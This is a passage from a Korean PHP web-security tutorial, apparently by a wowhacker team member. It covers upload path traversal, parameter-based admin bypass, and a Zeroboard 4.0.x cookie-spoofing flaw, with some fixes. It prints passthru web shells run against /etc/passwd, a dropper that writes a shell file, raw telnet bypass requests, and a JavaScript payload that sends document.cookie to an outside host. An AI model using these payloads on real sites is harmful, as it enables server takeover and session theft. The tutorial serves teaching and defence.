이제 이 두 Hacking 방법에 대한 대처 방안을 알아보자.
PHP 에서는 이 환경 변수에 의한 취약성을 인식하고 새로운 Function 을
내놓게 되었다. 바로 is_uploaded_file 이다. 이 Function 을 써서 사용자가
올린 파일이 정상인지 아닌지 체크가 가능하다.
수정된 write2_ok.php 의 일부분을 살펴보겠다.
write2_ok.php
1 if($in_file != "none" && $in_file)
2 {
3 $not_file = is_uploaded_file($in_file);
4
5 if( !$not_file ) {
6 echo "장난 하냐?"; exit; }
7
8 $filetype = split("/", $in_file_type);
9 $filetype = $filetype[0];
3 번째 줄에서 사용자가 Upload 한 파일이 정상적으로 올린 파일인지 아닌지
검사를 하기 위해 is_uploaded_file 를 실행하여 만약 정상적이지 않다면
스크립트를 중지시킨다.
[요청]
http://server/write_ok.php?in_file=data/hack.txt.txt&in_file_name=realhack.php&in_file_size=100
[결과]
장난 하냐?
성공적으로 막았다. 하지만 이 방법으로는 안전하지 않다. 사용자가 in_file
은 정상적인 File 을 Upload 하고 in_file_name 을 조작하여 보낼 수도 있기
때문이다.
예를 들어
<form action=write_ok.php method=post enctype="multipart/form-data">
Send this file: <input type=file name=in_file>
<input type=hidden name=in_file_name value="test.php">
<input type=submit value=Send>
</form>
이렇게 hidden type 으로 data 를 하나 올린다면 Server 에서 사용자가 올린
hacking.txt 의 file 을 test.php 로 copy 할 것이다.
hacking.txt
<?
passthru($beist);
?>
[요청]
http://server/data/test.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
조금 더 안전하게 하기 위해 $in_file_name 의 이름 중에 php 관련 파일이
있다면 취소를 하게끔 추가하도록 하자.
if(eregi("php", $in_file_name))
{
echo "장난하니?.. file 이름에 php 가 들어있습니다.";
exit;
}
그리고, 상위 디렉토리의 진입을 막기 위한 조취도 취해놓자.
if(eregi("\.\.", $in_file))
{
echo "장난하니?.. file 이름에 .. 가 들어있으면 안됩니다.";
exit;
}
두번째, binary File 을 올려서 File type 을 속이는 Hacking 에 대한 대처
방법을 알아보자.
어떤 상황이라도 사용자가 Server 에 php 관련 파일의 확장자를 올리는 것은
위험하다. 실제로 그 File 이 실행이 되지 않더라도 말이다.
그래서 애초에 File Name 에 php 관련 파일이 들어가선 안되도록 조취를
취하는 것이 좋은 방법이다.
if(eregi("php", $in_file_name))
{
echo "장난하니?.. file 이름에 php 가 들어있습니다.";
exit;
}
아니면 File Name 을 확장자를 갖게 하지 말고 번호를 갖게 다음의 알고리즘을
적절히 이용하는 방법도 괜찮다.
$count=0;
$fp=fopen("count.txt", "r");
$count=fgets($fp, 10);
copy($in_file, "data/$count");
$count++;
fclose($fp);
$fp=fopen("count.txt", "w");
fputs($fp, $count, 10);
fclose($fp);
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
7) file upload 알고리즘 시의 주의할점 -4-
이번 주제는 Web CGI Board 에서 File Upload 시의 취약성에 대해서
알아보겠다. 벌써 file upload 관련 글이 4 개나 나왔는데 이 것으로
보아 Cracker 가 가장 좋아하는 것중 하나가 File Upload 라는 것은
확실하다.
그만큼 취약점이 나왔는데도 이번에는 어떠한 취약점이 나올까.
이번 역시 File 을 Upload 할때의 이름과 관계가 있다. 어떻게 보면
이번 버그는 개발자가 알고리즘을 짤때의 취약성은 아니고, php 에서
처리하는 방식에 따라서 문제가 있다.
우리가 파일을 올릴때는 보통 다음과 같은 형식으로 올리게 된다.
다음과 같은 File Upload 폼이 있다고 하자.
<form action=write_ok.php method=post enctype="multipart/form-data">
Send this file: <input type=file name=in_file>
<input type=submit value=Send>
</form>
그리고 file 이름에 다음과 같이 적어서 Send 버튼을 누르자.
c:\upload\test.txt
write_ok.php 의 소스는 다음과 같다.
write_ok.php
<?
echo "in_file = $in_file<br>";
echo "in_file_name = $in_file_name<br>";
echo "in_file_size = $in_file_size<br>";
echo "in_file_type = $in_file_type<br>";
?>
소스만 보고도 위의 Script 가 무엇을 하는지 알 수 있을 것이다. Send
버튼을 누르면 결과는 다음과 같이 나온다.
in_file = /tmp/phpO3EWtg
in_file_name = test.txt
in_file_size = 20
in_file_type = text/plain
보다시피 $in_file_name 에는 c:\upload\ 가 짤린 상태이다. 그러면 php
에서는 어떤 기준으로 in_file_name 을 구하는 것인가? 사용자가 입력한
file name 에서 Escape 문자로 구별한다. Escape 가 맨 마지막으로 쓰인
곳에서 뒤의 문자열들을 $in_file_name 으로 보는 것이다.
여기에는 심각한 Security Hole 이 있다.
가령 다음과 같은 File Name 을 주고 File 을 올렸다고 생각하여 보자.
c:\upload\a\../test.txt
위 File path 의 뜻을 굳이 해석하자면 다음과 같다. c:\upload\a 디렉토리
에서 한번 상위디렉토리로 이동한 후 test.txt 파일을 말한다. 결과적으로
이 것은 c:\upload\test.txt 이다.
하지만 위에서 설명했듯이 php 에서는 Escape 가 맨 마지막으로 쓰인 곳에서
뒤의 문자열들을 in_file_name 으로 생각한다. 그래서 서버에 저장되는
$in_file_name 은 ../test.txt 가 되는 것이다. 물론, Client 에서의 이
파일은 c:\upload\test.txt 이므로 아무런 이상 없이 Upload 가 된다.
만약 다음과 같은 소스가 있다고 하자.
1 <?
2
3 /* 생략 */
4
5 if($in_file_name)
6 {
7 if($in_file_size == 0)
8 {
9 echo "모양 파일 크기 0 이양";
10 exit;
11 }
12}
13
14 if($in_file != "none" && $in_file)
15 {
16
17 $exist = file_exists("data/$in_file_name");
18
19 if($exist)
20 {
21 echo "동일한 파일이름이 이미 존재합니다.";
22 exit;
23 }
24
25 if(!copy($in_file, "data/$in_file_name"))
26 {
27 echo "파일 저장 실패! 다시 올리라.";
28 exit;
29 }
30
31 chmod("data/$in_file_name", 0444);
32
33 unlink($in_file);
34 }
/* 생략 */
?>
그리고 httpd.conf 에서 data 디렉토리 밑에 있는 File 들은 Web 을 통해서는
읽지 못하도록 다음과 같이 설정을 하였다고 가정한다.
<DirectoryMatch "^/.*/data">
AddType application/x-httpd-php-source .phps .php .ph .php3 .cgi .sh .pl
.html .htm .shtml .vbs .ins .inc .py
Options FollowSymLinks
AllowOverride None
Order allow,deny
Deny from all
</DirectoryMatch>
이렇게 되면 hacking.php 같은 악의적인 파일을 서버에 올린다고 하여도 Web 에서
읽게 되면 Forbidden 이 나오므로 서버에 명령을 실행 할 수 없게 된다.
hacking.php
<?
passthru($beist);
?>
[요청]
http://server/data/hacking.php?beist=cat /etc/passwd
[결과]
Forbidden
You don't have permission to access /data/hacking.php on this server.
그러면 Cracker 는 hacking.php 를 올리고, 이를 올바르게 실행시키기 위해서는
data Directory 는 피해서 올려야 한다. 먼저 사전 조사를 통해서 Web Directory
중 Web Server UID 에게 퍼미션이 열려있는 Directory 를 찾아서 그 Directory에
올리기로 하고, 퍼미션이 열려있는 Directory 의 이름은 conf 라고 가정한다.
(퍼미션이 열려있는 Directory 에 대해서 조사하는 방법은 생략하겠다. 이 것의
방법은 정적이지 않은, 동적이고 즉 Cracker 의 노하우 같은 것이다.)
물론,
c:\upload\a\../hacking.php
이런 이름으로 서버에 올리면 /home/httpd/html/data Directory 가 아닌
/home/httpd/html Directory 에 올라가게 될 것이지만, /home/httpd/html/conf
Directory 를 따로 지정하는 이유는 다음과 같다. 첫째, 보통 /home/httpd/html
Directory 는 WebServer UID 가 write 할 퍼미션이 열려있지 않고 둘째, 상위
Directory 만이 아닌 Cracker 가 원하는 Directory 로 File 을 올리는 방법을
설명하기 위해서이다.
먼저 실제로 Computer 에 다음과 같은 File 과 경로를 만든다.
c:\upload\conf\hacking.php
그리고 Upload 할때의 이름을 다음과 같이 고친다.
c:\upload\conf\../conf/hacking.php
위 File Path 를 풀이해보자. c:\upload\conf 디렉토리에서 한단계 위로 올라간후
conf/hacking.php 를 뜻한다. 결국 위에서 말했듯이 php 에서는 $in_file_name 을
맨 마지막으로 쓰인 Escape 문자 뒤의 문자열들로 보니까 서버에 저장되는
$in_file_name 은 ../conf/hacking.php 가 될 것이다.
그러면 write_ok.php 에서 실제로 행해지는 copy Function 은 다음과 같이 행해질
것이다.
copy($in_file, "data/../conf/hacking.php")
[요청]
http://server/conf/hacking.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
해결책을 알아 보자
이 문제점에 대한 근본적인 해결점은 아직까지 없는 것 같다. 약간은 이상한
버그이기도 한데, 막을 방법은 있다. $in_file_name 변수의 값 중에 이상한
문자가 있는지 확인하는 것이다.
if(eregi("\.\.", $in_file_name))
{
echo "file name 에 .. 가 들어갈 수는 없습니다.";
exit;
}
if(eregi("/", $in_file_name))
{
echo "file name 에 / 가 들어갈 수는 없습니다.";
exit;
}
if(eregi("\\$", $in-file_name))
{
echo "file name 에 이상한 문자가 들어있군요.";
exit;
}
더 완벽한 방법을 원한다면, Web Directory 의 열려있는 퍼미션을 체크하고,
불필요하다면 없앤다. 필요한 디렉토리는 httpd.conf 에 Web 에서 File 을
읽을 수 없게끔 설정을 한다. (Download 같은 것은 php File 에서 읽은 후
사용자에게 뿌려주는 방법등 여러가지가 있다. 이 방법에 대한 것은 12 번
장을 참조하라)
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
8) 변수 인증시의 주의할점
이번에 다룰 주제는 Web 프로그래밍에서 범하기 쉬운 실수 중의 한가지이다.
Computer Language 에는 비교문이 있다. 비교문을 이용하여 개발자는 여러가지
일을 할 수 있다. password 가 정확한지, 암호가 맞는지, 기타 등등 쓰이는
곳이 많다.
예를 들어서 특정 CGI script 에서 현재 Page 를 읽는 사용자가 Admin 인지
아닌지 확인해야 할 경우가 있을 것이다. 다음과 같은 절차가 있다고 하자.
1. Admin Page View (admin.html)
2. ID 와 Password 를 Client -> Sever 전송
3. Server 로 전달된 ID, Password 는 CGI 에서 체크함 (auth.php)
4. 만약 ID, Password 가 정확하다면 menu.php 로 admin=1 을 붙여
연결시켜 줌
/* menu.php 는 admin 만 View 할 수 있음 */
menu.php
<?
if(!$admin)
{
echo "당신은 Admin 이 아닙니다.";
exit;
}
echo "이 메뉴는 admin 만 볼수 있습니다.<br>";
echo "i love TTL<br>";
?>
/* menu.php 에서는 $admin 이라는 변수가 없다면 admin 이 아닌 걸로 인식
하여 스크립트 실행을 멈추고 만약 $admin 이라는 변수가 있다면 admin 으로
인식하여 admin 메뉴를 뿌려줍니다. */
admin.html
<html>
<head>
<title>Admin Page</title>
</head>
<body>
<center>
<form action=http://server/auth.php method=post>
Admin ID : <input type=text name=adminid><br>
Password : <input type=password name=adminpw><br>
</center>
</form>
</body>
</head>
</html>
/* admin.html 은 action 값을 auth.php 로 전달하고 method 로 post 를 사용
하였다. 사용자가 입력한 id 와 password 를 각각 adminid 와 adminpw 에
담아서 보낸다. */
auth.php
<?
if($adminid=="admin")
{
if($adminpw=="123456")
{
echo "<meta http-equiv=\"refresh\" content=\"1;url=menu.php?admin=1\" >";
}
else
{
echo "Wrong Password!";
}
}
else
{
echo "Wrong ID!";
}
?>
/* auth.php 에서는 사용자가 입력한 id 가 admin 인지 확인한다. 만약 admin 을
id 로 입력했다면 입력한 password 가 123456 이 맞는지 확인한다. 맞다면
meta tag 를 이용하여 menu.php 로 연결해줄 것이며 menu.php 를 요청할때
admin 이라는 인수를 주어 value 를 1 로 설정하였다. */
이와 같은 방법에는 취약성이 존재한다. 만약에 cracker 가 auth.php 를 거치지 않고
menu.php 를 바로 요청하여 admin 변수를 넣을수도 있으니까 말이다. 테스트를 하여
보자.
[요청]
http://server/menu.php
[결과]
당신은 Admin 이 아닙니다.
[요청]
http://server/menu.php?admin=1
[결과]
이 메뉴는 admin 만 볼수 있습니다.
i love TTL
이런 식으로 cracker 는 auth.php 를 거치지 않고도 menu.php 에 바로 admin 값을
인수로 보내어 인증을 회피 할 수 있다.
위와 같은 Script 는 거의 쓰이지 않을테지만 여기에서는 이해를 쉽게 하기 위해
간단한 프로그래밍을 한 것이다. 실제로 수천줄의 CGI 에서도 이와 유사한 버그로
위험을 보이는 것들도 많이 있다.
위와 같은 Script 일때 이를 해결하는 방법은
menu.php
<?
if($adminpw!="pwttl")
{
echo "당신은 Admin 이 아니군요.<br>";
echo "암호가 틀렸습니다.";
exit;
}
echo "이 메뉴는 admin 만 볼수 있습니다.<br>";
echo "i love TTL<br>";
?>
/* $adminpw 변수가 pwttl 이 아니라면 admin 이 아닌 것으로 간주하여 Script
실행을 중지시킨다. 만약 pwttl 이라면 Admin 메뉴를 보여준다. */
auth.php
<?
if($adminid=="admin")
{
if($adminpw=="123456")
{
echo "<meta http-equiv=\"refresh\" content=\"1;url=menu.php?admin=pwttl\" >";
}
else
{
echo "Wrong Password!";
}
}
else
{
echo "Wrong ID!";
}
?>
/* 종전의 admin=1 대신 admin=pwttl 로 value 를 바꾸어 menu.php 로 link 시켰다 */
이런 식으로 인증하는 것이 좋을 것이다. 하지만 이런 방법보다는 Cookie 나
Session 등을 이용하여 인증하는 것을 권한다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
9) cookie 사용시 주의할점
이번 장에서 다룰 주제는 Web 에서 많이 쓰이는 Cookie 에 관한 내용이다.
Cookie 란 무엇인가? Web Language 에서 Cookie 는 여러가지에 유용하게 쓰인다.
Cookie 는 Client Computer 에 저장되는 것인데, CGI Program 에서는 이 Cookie 를
이용하여 좀 더 편리하고 간편한 CGI 를 짤 수도 있다. 예를 들어 Web Board 에서
각 Page 마다 인증이 필요한 경우도 있다. 뭐 admin 만 Access 할 수 있다던지
하는 Page 일 경우에 말이다. 이럴 경우 매 Page 의 Head 부분에 Client Computer
에서 Cookie 를 받아와 Access 하려는 사용자가 권한이 되는지 안되는지 알 수
있게끔 Cookie 가 사용될 수도 있다.
여기에서는 한때 Issue 가 됐던 Cookie Sniffing 과 더불어 Cookie Spoofing,
Cookie 사용시 잘못된 알고리즘 등을 알아볼 것이다. 실제로 존재하는 CGI Program
인 Zeroboard 4.0.x 버전을 이용하겠다. 이 버그는 필자가 발견한 버그로, 요즘의
버전에는 Patch 가 되었다.
zeroboard 는 PHP 로 만들어져 있으며 DATABASE 는 MySQL 을 사용하고 있다.
문제가 되는 부분은 zeroboard 에서 cookie 인증을 할때 잘못된 알고리즘을 사용
하기 때문이다.
문제가 되는 주요 소스는 zeroboard 에서 lib.php 이다.
1 function member_info()
2 {
3 global $HTTP_COOKIE_VARS, $member_table, $now_table;
4 $cookie_userid=$HTTP_COOKIE_VARS[zetyxboard_userid];
5 $cookie_password=$HTTP_COOKIE_VARS[zetyxboard_password];
6
7 // 우선 쿠키가 존재할때;;
8 if($cookie_userid&&$cookie_password)
9 {
10 // 접속 테이블에도 있는지를 검사;;
11 $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
12 user_id='$cookie_userid'"));
13 // 접속테이블에도있으면 값을 갖고 옴;;
14 if($check[0])
15 {
16 //다시 쿠키를 구움;;
17 setcookie("zetyxboard_userid",$cookie_userid,0,"/");
18 setcookie("zetyxboard_password",$cookie_password,0,"/");
19 mysql_query("update $now_table set logtime='".time()."' where
20 user_id='$cookie_userid'");
21 $member=mysql_fetch_array(mysql_query("select * from $member_table where
22 user_id='$cookie_userid' and password='$cookie_password'"));
23 }
24 else
25 {
26 setcookie("zetyxboard_userid","",0,"/");
27 setcookie("zetyxboard_password","",0,"/");
28 $member[level]=10;
29 }
30 }
31 else $member[level]=10;
32 return $member;
33 }
이 함수는 zeroboard lib.php 의 원본 소스중 이다. zeroboard 는 게시판에
가입한 멤버를 LEVEL 별로 설정할수 있는 등 커뮤니티 기능도 있다. 회원이
게시판을 이용할때 멤버에 대한 데이터를 가져오는 함수가 바로 이 member_info
함수이다.
첫번째 라인은 member_info 의 함수 정의이다. 3 번째 라인은 HTTP_COOKIE_VARS,
member_table, now_table 을 전역 변수로 설정해놓았고 4 번째 라인에서 cookie_userid
를 HTTP_COOKIE_VARS 의 zetyxboard_userid 로 설정하였다. 마찬가지로 5 번째
라인에서는 cookie_password 를 HTTP_COOKIE_VARS 의 zetyxboard_password 로
설정하였다.
HTTP_COOKIE_VARS 는 client (즉 사용자) 에서 전달해주는 cookie 값을 담아놓는
변수이다.
zetyxboard_userid 나 zetyxboard_password 같은 cookie 설정은 사용자가 login
페이지를 통해서 login 을 할때 설정이 된다.
cookie 설정 역시 lib.php 파일에서 check_login 함수에서 이루어진다.
1 /////////////////////////////////////////////////////////////////////////
2 // 로그인 시키는 부분
3 /////////////////////////////////////////////////////////////////////////
4 function check_login($user_id,$password)
5 {
6 global $connect, $member_table, $now_table, $id;
7 $check=mysql_fetch_array(mysql_query("select * from $member_table where
8 user_id='$user_id' and password=password('$password')"));
9 if($check[no])
10 {
11 $password=mysql_fetch_array(mysql_query("select password('$password')"));
12 setcookie("zetyxboard_userid",$user_id,0,"/");
13 setcookie("zetyxboard_password",$password[0],0,"/");
14
15 $temp=mysql_fetch_array(mysql_query("select count(*) from $now_table
16 where user_id='$user_id'"));
17 if($temp[0]) mysql_query("update $now_table set logtime='".time()."'
18 where user_id='$user_id'");
19 else mysql_query("insert into $now_table (user_id,group_no,logtime)
20 values ('$user_id','$check[group_no]','".time()."')");
21
22 return 1;
23 }
24 else Error("로그인을 실패하였습니다.");
25 }
7 번째 라인은 사용자가 전달한 id 와, password 값으로 member_table 에 실제로
존재하는 사용자인지 확인한다. 만약 올바른 사용자라면 check_login 함수는
client 에게 (보통 웹브라우저를 말합니다.) setcookie 함수를 이용하여 cookie를
설정하여 준다. zetyxboard_userid 와 zetyxboard_password 가 cookie 이다.
그리고 15 번째 줄부터 게시판에 현재 접속된 사용자의 ID 를 담아놓는 now_table
에 ID 를 update 를 하거나 추가를 한다. (만약 사용자가 정해진 시간동안 아무
런 페이지도 읽지 않거나, logout 을 하면 now_table 에서 사용자의 ID 가 삭제
됩니다. 그렇게 되면 login 이 안된 상태가 된다.)
다시 취약점의 근원이 되는 member_info 함수로 돌아가보자. member_info 함수는
이 사용자가 정당한 사용자인지 검사를 하는 기능도 있다. 첫번째로 사용자가
zetyxboard_userid 와 zetyxboard_password 쿠키가 있는지 확인한다. 이 확인은
8 번째 줄에서 한다. 그리고 또 한번의 확인으로 zeroboard 에서 사용하는 now_
table 에도 zetyxboard_userid 값이 담겨있는지 확인한다. 만약에 접속테이블에
도 사용자의 ID 가 있다면 이 사용자는 올바른 사용자이다.
하지만 여기에서 문제가 발생한다. 첫번째 확인에서 zetyxboard_userid 와 zetyx
board_password 쿠키는 사용자가 임의로 만들어서 보낼 수 있고, 두번째는 접속 테
이블에도 있는지 검사를 할때 zetyxboard_userid 만 갖고 체크를 하기 때문에
zetyxboard_password 가 정확하지 않더라도 상관이 없다. 그래서 해커가
zetyxboard_userid 와 zetyxboard_password 쿠키를 임의로 만들고, 현재 접속이 되어
있는 사용자의 ID 로 zetyxboard_userid 를 설정한다면 member_info 함수에서 해커는
올바른 사용자가 될 수 있다.
여기까지의 방법으로 우리는 접근할 수 없는 게시판과, 게시물을 읽을수가 있다.
(접근할 수 없는 경우는 사용자의 레벨과 접근하려는 게시판의 허용 레벨이
안 맞기 때문이다.) 왜냐하면 member_info 함수에서 21~22 번 줄을 보자.
member_table 에서 zetyxboard_userid 와 zetyxboard_password 가 담긴 데이터를
찾고 그 결과를 member 변수에 담는다. 만약 올바른 사용자라면 member 변수에는
사용자의 LEVEL 이나 이름, ID, PASSWORD 가 담길것이다. 하지만 해커에게는
LEVEL, ID, 이름, PASSWORD 같은 것이 아닌 빈 값이 담기게 된다. 이유는 member
_table 에는 zetyxboard_userid 와 같은 데이터는 있어도 zetyxboard_password 도
같은 데이터는 없기 때문이다.
member 에 빈값이 담기기 때문에 해커는 PHP 에서 해당 LEVEL 이 되는지 안되는지
검사를 하는 부분을 통과할 수 있다. 그 부분을 살펴보도록 하자.
먼저 zboard.php 에서 특정 id 의 게시판에 접근할때 사용권한을 어떻게 체크
하는지 보면
zboard.php
1 if($setup[grant_list]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");
이렇다. 조건식을 살펴보자. $setup[grant_list] 는 각 게시판에 설정
된 접근 허용 LEVEL 과 비슷한 것이다. 만약 $member[level] 이 $setup[grant_
list] 값보다 크다면 접근이 허용되지 않으므로 2~4 번째의 ERROR 메세지가 뜨게
된다.
(zeroboard 에서는 LEVEL 이 낮을수록 실제로는 높은 걸로 인식한다. 두번째
조건식인 !$is_admin 는 만약 로그인한 사용자가 admin 이면 통과한다는 것을
의미한다.)
앞에서 말했듯이 해커는 member 에 빈값이 담기게 된다. 빈값은 0 과 같다.
그러면 조건식은 이렇게 될 것이다.
if($setup[grant_list]<0&&!$is_admin)
어떤 레벨이라도 0 보다 낮을수는 없을 것이다. 이와 같은 방법으로 해커는 사용권한을
체크하는 PHP 알고리즘을 통과하고 허용하지 않는 게시물이나 게시판에 접근을
할 수 있게 된다.
만약에 secret 라는 id 의 게시판이 있다고 하고, 실제로 어떻게 사용권한 체크를
통과하고 게시판을 읽을 수 있는지 알아보자.
1 telnet targetip 80
2 get http://targetip/zboard/zboard.php?id=secret HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호
결과 :
secret 게시판
15 번 승진님 안녕하세요................ 방문객 2005/06/26
14 번 여기 좋군요.... 나그네 2004/06/26
13 번 여기 뭐 이래요?? 지나가는이 2003/06/26
12 번 저는 말이에요.. 해커지망생 2002/06/26
..........
..........
1 번 라인은 targetip 의 웹서버인 80 번 포트로 접속을 하는 것이다. 2 번 라인
은 zboard.php 의 인수로 id=secret 를 주어서 secret 라는 게시판을 읽어들이겠다
고 알린것이고 3 번 라인은 Cookie 값을 첨부한 것이다. 여기서 zetyxboard_
password 는 아무 값이나 넣어줘도 된다.
이와 비슷한 방법으로 한 가지 더 경우를 보자. 게시물의 목록이 아닌 직접
게시물을 읽는 방법이다. view.php 에서의 사용 권한 체크 루틴을 보자.
view.php
1 if($setup[grant_view]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");
view.php 의 인자로 id 와 no 가 들어가는데 id 는 해당 게시판의 id 를 뜻하고
no 는 해당 게시판의 글 번호를 뜻한다.
위에서도 역시 마찬가지로 member 는 빈값, 즉 0 이니 조건식을 이상 없이
통과할 수 있을 것다.
그럼 실제로 어떻게 사용권한 체크를 통과하고 게시물을 읽을 수 있는지 알아
보자. 여기서 id 는 secret 이고 글번호는 444 라고 하자.
1 telnet targetip 80
2 get http://targetip/zboard/view.php?id=secret&no=444 HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호
결과 :
444 번 글
이름 : 이승진
제목 : 전 이승진이랑께롱~
본문 : 케케케~.. 음.. 할말이 없군..
2 번 라인은 view.php 스크립트에 secret 를 id 로 줬고 글 번호 444 를 요청하였
다. 그리고 3 번 라인에서 Cookie 값을 첨부하였다.
주의할 점은 zetyxboard_password 의 값은 임의로 넣어줘도 되지만 비어있어서는
안된다.
게시판을 읽거나 게시물을 읽는 방법 말고도 다른 여러 가지 방법이 있는데 여기서
한 가지 방법을 더 알아보겠다. trace.php 라는 스크립트는 파일명 그대로
서버에 설치된 zeroboard 와 관련된 것들을 추적해 주는 스크립트이다. 이 스크
립트 역시 사용 권한을 체크하여 admin 만이 사용할 수 있게 해놓았지만 member에
빈 값이 들어가는 것을 이용하여 통과할 수 있다.
가령 beist 라는 사람이 글 쓴 것들에 대해서 보고 싶다는 주어진 검색식으로
추적을 시작하면 beist 의 IP 와 어떤 게시판에다 글을 썼는지 그런 정보들이
나오게 된다.
trace.php 에서는 어떤 식으로 사용 권한 체크를 하는지 알아보자.
trace.php 소스 설명 공격 설명
1 $member=member_info();
2 if($member[is_admin]>1||$member[level]>1)
3 Error("최고 관리자만이 사용할수 있습니다");
1 번 라인에서는 member_info 를 불러오고 그 리턴값을 $member 에 저장한다.
2 번 라인의 조건식은 만약 admin 이 아니라면 3 번 라인에서 Error 를 출력하도록
한다.
trace.php 의 실제 이용방법을 알아보자.
1 telnet targetip 80
2 get http://targetip/zboard/admin/trace.php?keykind[0]=name&keyword=이승진
HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=아무거나;
결과 :
test1 게시판
[kekek] test (2001-12-05 21:40:04 / beist-ip)
[kekek] tet (2001-12-05 21:42:25 / beist-ip)
[kekek] asdf (2001-12-05 21:44:40 / beist-ip)
[kekek] asdf (2001-12-05 21:46:23 / beist-ip)
[kekek] vvvvv (2001-12-05 21:47:00 / beist-ip)
2 번라인에서는 keykind[0]=name 을 주어서 keyword 검색을 이름으로 하겠다고
전하고 이름에 이승진을 넣은 것이다.
keykind 의 종류는 다음과 같다.
keykind[0]=name
keykind[1]=email
keykind[2]=ip
keykind[3]=subject
keykind[4]=memo
위와 같은 keykind 로 검색할수 있고, keyword 에는 검색할 내용만 적으면 된다.
예를 들어 keykind[1]=email 로 지정해두었다면 keyword 에 beist@hanmail.net
이라고 적으면 된다.
하지만 이 방법으로는 게시판을 보거나 게시물을 추적할 수 있지만 명령어를 실행
하지는 못한다. 웹에서 해커의 궁극적인 목표는 명령어 실행이지 않은가?
이제부터 명령어 실행의 버그들에 대해서 알아보겠다. zeroboard 에서는 admin
메뉴에서 header 와 footer 에 (게시판의 머리말과 꼬리말 정도이다.) admin 이
원하는 특정 파일을 지정을 할 수가 있다. 보통은 인사말이나 특정 페이지를
같이 넣고 싶을때 header 와 footer 를 사용하지만 cracker 는 이 것을 이용하여서
명령어 실행을 할 수 있다. (header 와 footer 의 파일은 zboard.php 에서
include 합니다. 즉 zboard.php 파일이 웹에서 읽어질때 head 와 foot 에 include
한 파일을 뿌려주는 것이다.)
먼저 제로보드의 특정 자료실에 악의적인 파일을 하나 올린다.
<?
system("echo -n \" <? passthru(\$\" > imnotj.php");
system("echo -n \"cmd); ?>\" >> imnotj.php");
echo "<font size=5>keke";
?>
<? passthru($cmd); ?>
이 소스의 기능은 imnotj.php 라는 악의적인 스크립트를 하나 생성한다. imnotj.
php 에 담기는 내용은 <? passthru($cmd); ?> 가 될 것이다. imnotj.php 의
기능은 서버에서 해커가 원하는 특정 명령어를 실행할 수 있게끔 된 소스이다.
자료를 올릴 때 제로보드의 필터링에 걸리면 안될것이다? 제로보드는 php, html, php3
같은 확장자의 파일을 못 올리게 필터링을 한다. 그래서 위의 코드가 담긴 확장자를
txt 로 저장하고 서버에 올리자. (txt 를 필터링하는 자료실은 아무데도 없을것이다)
굳이 txt 확장자가 아닌 zip 이나 jpg 같은 확장자도 상관은 없다.
만약 test.txt 라는 파일을 올렸다면 서버 상에서 /webdirectory/zboard/data/test.
txt 라는 곳에 위치할 것이다. (webdirectory 는 가상으로 만들어 낸 것이며 실제
로는 /home/beist/public_html 정도가 나올 것이다.)
그리고 admin 메뉴에서 header (혹은 footer) 에 /webdirectory/zboard/data/test.
txt 라고 지정을 하면 zboard.php 에서는 test.txt 를 include 할 것이다. 위와
같은 코드를 include 하였으니 웹에서 zboard.php 파일을 열때 imnotj.php 라는
파일이 생성될 것이다.
그렇다면 admin 메뉴에는 어떻게 들어갈 것인가? admin 메뉴는 말 그대로 admin 만
들어갈 수 있다. admin 암호가 없으면 못들어간다는 이야기이다. 그래서 우리는
admin 암호를 알아내야 한다. 쿠키 스니핑을 이용해야겠다. 하지만 zero
board 에서는 password 를 암호화해서 저장하기 때문에 쿠키 스니핑으로 암호를
빼온다고 해도 login 페이지에서 암호를 입력할 수가 없다. (암호화된 문자열을
crack 하여서 원래의 암호 문자열을 얻을 수도 있겠지만 그 방법은 너무 오래걸리고
가능성도 희박한 방법이다. 암호가 쉽지 않은한)
그래서 우리는 쿠키스니핑으로 암호를 빼오고, login 페이지에 암호를 넣는 것이
아니라 실제 admin 페이지에 직접적으로 Cookie 값을 전달해야 한다.
어떤 식으로 admin 의 password 를 빼올 수 있는 지 살펴보자.
자바 스크립트를 써서 쿠키를 빼올 것이다. 자바 스크립트를 게시판이나 쪽지에
쓰면 되는데 여기에선 쪽지를 이용하는 방법을 사용하겠다. zeroboard 의 쪽지
기능을 이용하여 admin 에게 쪽지를 보낸다. html 사용에 check 를 하고..
java-script 로 쿠키를 빼오는 스크립트
-----------------------------------------------------------------------------
1 <script language=java-script>
2 window.open("http://beist.org/test.php?cook="+document_.cookie);
3 </script>
4 HELLO ADMIN!
-----------------------------------------------------------------------------
1 번째 라인은 java-script 를 사용할 것이라고 선언을 하는 것이고 2 번째 라인은
http://beist.org/test.php 의 스크립트를 웹브라우저의 document_.cookie 를 인수로
여는 것이다. 보통 CGI 는 다음과 같은 방식으로 인수를 전달한다.
sample CGI script
echo.php
<? echo "hello $insu"; ?>
위의 echo.php 는 $insu 라는 변수를 출력해주는 스크립트이다. 웹브라우저에서
http://beist.org/echo.php?insu=beist 이런 식으로 페이지를 요청하면 echo.php
에서는
hello beist
라는 문자열을 되돌려준다.
쿠키를 빼오는 스크립트인 test.php 의 인수의 이름으로 cook 을 주었고 그 값에는
